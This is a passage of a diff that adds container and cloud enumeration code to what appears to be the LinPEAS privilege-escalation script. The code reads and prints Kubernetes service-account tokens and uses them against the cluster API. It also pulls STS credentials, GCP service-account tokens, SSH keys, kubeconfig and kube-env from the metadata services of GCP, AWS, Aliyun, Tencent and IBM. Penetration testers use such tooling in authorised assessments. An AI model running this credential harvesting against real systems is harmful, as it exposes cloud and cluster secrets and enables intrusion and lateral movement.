+ print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED},"
+ if [ "$EXTRA_CHECKS" ]; then
+ print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
+ print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
+ fi
+
+ echo ""
+ print_3title "Namespaces"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces"
+ ls -l /proc/self/ns/
+
+ if echo "$containerType" | grep -qi "kubernetes"; then
+ print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n"
+ print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n"
+ echo ""
+
+ print_2title "Kubernetes Information"
+ print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod"
+
+
+ print_3title "Kubernetes service account folder"
+ ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null
+ echo ""
+
+ print_3title "Kubernetes env vars"
+ (env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType="
+ echo ""
+
+ print_3title "Current sa user k8s permissions"
+ print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes"
+ kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \
+ "https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
+ -X 'POST' -H 'Content-Type: application/json' \
+ --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED},"
+
+ fi
+ echo ""
+
+ print_2title "Container Capabilities"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape"
+ if [ "$(command -v capsh)" ]; then
+ capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g"
+ else
+ defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap"
+ cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
+ echo $ITALIC"Run capsh --decode=<hex> to decode the capabilities"$NC
+ fi
+ echo ""
+
+ print_2title "Privilege Mode"
+ if [ -x "$(command -v fdisk)" ]; then
+ if [ "$(fdisk -l 2>/dev/null | wc -l)" -gt 0 ]; then
+ echo "Privilege Mode is enabled"| sed -${E} "s,enabled,${SED_RED_YELLOW},"
+ else
+ echo "Privilege Mode is disabled"| sed -${E} "s,disabled,${SED_GREEN},"
+ fi
+ else
+ echo_not_found
+ fi
+ echo ""
+
+ print_2title "Interesting Files Mounted"
+ (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g"
+ echo ""
+
+ print_2title "Possible Entrypoints"
+ ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq
+ echo ""
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q cloud; then
+print_title "Cloud"
+###########################################
+#-----------) Cloud functions (-----------#
+###########################################
+
+GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append"
+GCP_BAD_SCOPES="/cloud-platform|/compute"
+
+exec_with_jq(){
+ if [ "$(command -v jq)" ]; then
+ $@ | jq 2>/dev/null;
+ if ! [ $? -eq 0 ]; then
+ $@;
+ fi
+ else
+ $@;
+ fi
+}
+
+check_gcp(){
+ is_gcp_vm="No"
+ is_gcp_function="No"
+ if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then
+ is_gcp_vm="Yes"
+ fi
+ # CHeck if /workspace exists
+ if [ -d "/workspace" ] && [ -d "/layers" ]; then
+ is_gcp_vm="No"
+ is_gcp_function="Yes"
+ fi
+}
+
+check_do(){
+ is_do="No"
+ if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then
+ is_do="Yes"
+ fi
+}
+
+check_aliyun_ecs () {
+ is_aliyun_ecs="No"
+ if [ -f "/etc/cloud/cloud.cfg.d/aliyun_cloud.cfg" ]; then
+ is_aliyun_ecs="Yes"
+ fi
+}
+
+check_tencent_cvm () {
+ is_tencent_cvm="No"
+ if grep -qi Tencent /etc/cloud/cloud.cfg; then
+ is_tencent_cvm="Yes"
+ fi
+}
+
+check_ibm_vm(){
+ is_ibm_vm="No"
+ if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then
+ curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1
+ if [ "$?" -eq 0 ]; then
+ IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) )
+ is_ibm_vm="Yes"
+ fi
+ fi
+}
+
+check_aws_ecs(){
+ is_aws_ecs="No"
+ if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then
+ is_aws_ecs="Yes";
+ aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4;
+ aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
+
+ elif (env | grep -q ECS_CONTAINER_METADATA_URI); then
+ is_aws_ecs="Yes";
+ aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI;
+ aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
+
+ elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then
+ is_aws_ecs="Yes";
+ fi
+
+ if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then
+ aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
+ fi
+}
+
+check_aws_ec2(){
+ is_aws_ec2="No"
+ is_aws_ec2_beanstalk="No"
+
+ if [ -d "/var/log/amazon/" ]; then
+ is_aws_ec2="Yes"
+ EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
+
+ else
+ EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
+ if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then
+ is_aws_ec2="Yes"
+ fi
+ fi
+
+ if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then
+ is_aws_ec2_beanstalk="Yes"
+ fi
+}
+
+check_aws_lambda(){
+ is_aws_lambda="No"
+
+ if (env | grep -q AWS_LAMBDA_); then
+ is_aws_lambda="Yes"
+ fi
+}
+
+check_aws_codebuild(){
+ is_aws_codebuild="No"
+
+ if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then
+ is_aws_codebuild="Yes"
+ fi
+}
+
+check_az_vm(){
+ is_az_vm="No"
+
+ if [ -d "/var/log/azure/" ]; then
+ is_az_vm="Yes"
+
+ elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then
+ is_az_vm="Yes"
+ fi
+}
+
+check_az_app(){
+ is_az_app="No"
+
+ if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then
+ is_az_app="Yes"
+ fi
+}
+
+
+check_gcp
+print_list "GCP Virtual Machine? ................. $is_gcp_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+print_list "GCP Cloud Funtion? ................... $is_gcp_function\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_aws_ecs
+print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_aws_ec2
+print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_aws_lambda
+print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_aws_codebuild
+print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_do
+print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_aliyun_ecs
+print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_tencent_cvm
+print_list "Tencent CVM? .......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_ibm_vm
+print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_az_vm
+print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+check_az_app
+print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
+
+echo ""
+
+if [ "$is_tencent_cvm" = "Yes" ]; then
+ tencent_req=""
+ if [ "$(command -v curl)" ]; then
+ tencent_req='curl -sfkG'
+ elif [ "$(command -v wget)" ]; then
+ tencent_req='wget -q -O '
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+
+ print_2title "Tencent CVM Enumeration"
+ print_info "https://cloud.tencent.com/document/product/213/4934"
+ # Todo: print_info "Hacktricks Documents needs to be updated"
+
+ echo ""
+ print_3title "Instance Info"
+ i_tencent_owner_account=$(eval $tencent_req http://169.254.0.23/latest/meta-data/app-id)
+ [ "$i_tencent_owner_account" ] && echo "Tencent Owner Account: $i_tencent_owner_account"
+ i_hostname=$(eval $tencent_req http://169.254.0.23/latest/meta-data/hostname)
+ [ "$i_hostname" ] && echo "Hostname: $i_hostname"
+ i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-id)
+ [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id"
+ i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/uuid)
+ [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id"
+ i_instance_name=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-name)
+ [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name"
+ i_instance_type=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance/instance-type)
+ [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type"
+ i_region_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/region)
+ [ "$i_region_id" ] && echo "Region ID: $i_region_id"
+ i_zone_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/zone)
+ [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id"
+
+ echo ""
+ print_3title "Network Info"
+ i_pri_ipv4=$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/primary-local-ipv4)
+ [ "$i_pri_ipv4" ] && echo "Primary IPv4: $i_pri_ipv4"
+
+
+ echo "========"
+ for mac in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/); do
+ echo " Mac: $mac"
+ echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/public-ipv4s)
+ echo " Mac vpc id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/vpc-id)
+ echo " Mac subnet id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/subnet-id)
+
+ for lipv4 in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s); do
+ echo " Mac local ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/local-ipv4)
+ echo " Mac gateways: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/gateway)
+ echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/public-ipv4)
+ echo " Mac public ips mode: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/public-ipv4-mode)
+ echo " Mac subnet mask: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/subnet-mask)
+ done
+ echo "======="
+ done
+
+ echo ""
+ print_3title "Service account "
+ for sa in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/"); do
+ echo " Name: $sa"
+ echo " STS Token: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/$sa")
+ echo " =============="
+ done
+
+ echo ""
+ print_3title "Possbile admin ssh Public keys"
+ for key in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/"); do
+ echo " Name: $key"
+ echo " Key: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/${key}openssh-key")
+ echo " =============="
+ done
+fi
+
+if [ "$is_aliyun_ecs" = "Yes" ]; then
+ aliyun_req=""
+ aliyun_token=""
+ if [ "$(command -v curl)" ]; then
+ aliyun_token=$(curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:1000")
+ aliyun_req='curl -s -f -H "X-aliyun-ecs-metadata-token: $aliyun_token"'
+ elif [ "$(command -v wget)" ]; then
+ aliyun_token=$(wget -q -O - --method PUT "http://100.100.100.200/latest/api/token" --header "X-aliyun-ecs-metadata-token-ttl-seconds:1000")
+ aliyun_req='wget -q -O --header "X-aliyun-ecs-metadata-token: $aliyun_token"'
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$aliyun_token" ]; then
+ print_2title "Aliyun ECS Enumeration"
+ print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata"
+ # Todo: print_info "Hacktricks Documents needs to be updated"
+
+ echo ""
+ print_3title "Instance Info"
+ i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname)
+ [ "$i_hostname" ] && echo "Hostname: $i_hostname"
+ i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id)
+ [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id"
+ # no dup of hostname if in ACK it possibly leaks aliyun cluster service ClusterId
+ i_instance_name=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-name)
+ [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name"
+ i_instance_type=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-type)
+ [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type"
+ i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id)
+ [ "$i_aliyun_owner_account" ] && echo "Aliyun Owner Account: $i_aliyun_owner_account"
+ i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id)
+ [ "$i_region_id" ] && echo "Region ID: $i_region_id"
+ i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id)
+ [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id"
+
+ echo ""
+ print_3title "Network Info"
+ i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4)
+ [ "$i_pub_ipv4" ] && echo "Public IPv4: $i_pub_ipv4"
+ i_priv_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/private-ipv4)
+ [ "$i_priv_ipv4" ] && echo "Private IPv4: $i_priv_ipv4"
+ net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers)
+ [ "$net_dns" ] && echo "DNS: $net_dns"
+
+ echo "========"
+ for mac in $(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do
+ echo " Mac: $mac"
+ echo " Mac interface id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id)
+ echo " Mac netmask: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask)
+ echo " Mac vpc id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id)
+ echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block)
+ echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks)
+ echo " Mac vswitch id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id)
+ echo " Mac vswitch cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block)
+ echo " Mac vswitch cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block)
+ echo " Mac private ips: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s)
+ echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s)
+ echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway)
+ echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway)
+ echo "======="
+ done
+
+ echo ""
+ print_3title "Service account "
+ for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do
+ echo " Name: $sa"
+ echo " STS Token: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa")
+ echo " =============="
+ done
+
+ echo ""
+ print_3title "Possbile admin ssh Public keys"
+ for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do
+ echo " Name: $key"
+ echo " Key: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key")
+ echo " =============="
+ done
+
+
+ fi
+fi
+
+if [ "$is_gcp_vm" = "Yes" ]; then
+ gcp_req=""
+ if [ "$(command -v curl)" ]; then
+ gcp_req='curl -s -f -H "Metadata-Flavor: Google"'
+ elif [ "$(command -v wget)" ]; then
+ gcp_req='wget -q -O - --header "Metadata-Flavor: Google"'
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ # GCP Enumeration
+ if [ "$gcp_req" ]; then
+ print_2title "Google Cloud Platform Enumeration"
+ print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security"
+
+ ## GC Project Info
+ p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')
+ [ "$p_id" ] && echo "Project-ID: $p_id"
+ p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')
+ [ "$p_num" ] && echo "Project Number: $p_num"
+ pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys')
+ [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k"
+ p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true')
+ [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs"
+
+ # OSLogin Info
+ osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users)
+ [ "$osl_u" ] && echo "OSLogin users: $osl_u"
+ osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups)
+ [ "$osl_g" ] && echo "OSLogin Groups: $osl_g"
+ osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys)
+ [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk"
+ osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize)
+ [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au"
+
+ # Instance Info
+ inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description)
+ [ "$inst_d" ] && echo "Instance Description: "
+ inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname)
+ [ "$inst_hostn" ] && echo "Hostname: $inst_hostn"
+ inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)
+ [ "$inst_id" ] && echo "Instance ID: $inst_id"
+ inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image)
+ [ "$inst_img" ] && echo "Instance Image: $inst_img"
+ inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type)
+ [ "$inst_mt" ] && echo "Machine Type: $inst_mt"
+ inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name)
+ [ "$inst_n" ] && echo "Instance Name: $inst_n"
+ inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags)
+ [ "$inst_tag" ] && echo "Instance tags: $inst_tag"
+ inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)
+ [ "$inst_zone" ] && echo "Zone: $inst_zone"
+
+ inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location")
+ [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc"
+ inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name")
+ [ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name"
+ inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin")
+ [ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e"
+ inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels")
+ [ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab"
+ inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig")
+ [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec"
+ inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env")
+ [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv"
+
+ echo ""
+ print_3title "Interfaces"
+ for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do
+ echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip")
+ echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
+ echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
+ echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
+ echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network")
+ echo " ============== "
+ done
+
+ echo ""
+ print_3title "User Data"
+ echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script")
+ echo ""
+
+ echo ""
+ print_3title "Service Accounts"
+ for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
+ echo " Name: $sa"
+ echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email")
+ echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases")
+ echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity")
+ echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g"
+ echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token")
+ echo " ============== "
+ done
+ fi
+fi
+
+# Check if the script is running in a GCP Cloud Function
+if [ "$is_gcp_function" = "Yes" ]; then
+ gcp_req=""
+ if [ "$(command -v curl)" ]; then
+ gcp_req='curl -s -f -H "Metadata-Flavor: Google"'
+ elif [ "$(command -v wget)" ]; then
+ gcp_req='wget -q -O - --header "Metadata-Flavor: Google"'
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ # GCP Enumeration
+ if [ "$gcp_req" ]; then
+ print_2title "Google Cloud Platform Enumeration"
+ print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security"
+
+ ## GC Project Info
+ p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')
+ [ "$p_id" ] && echo "Project-ID: $p_id"
+ p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')
+ [ "$p_num" ] && echo "Project Number: $p_num"
+
+ # Instance Info
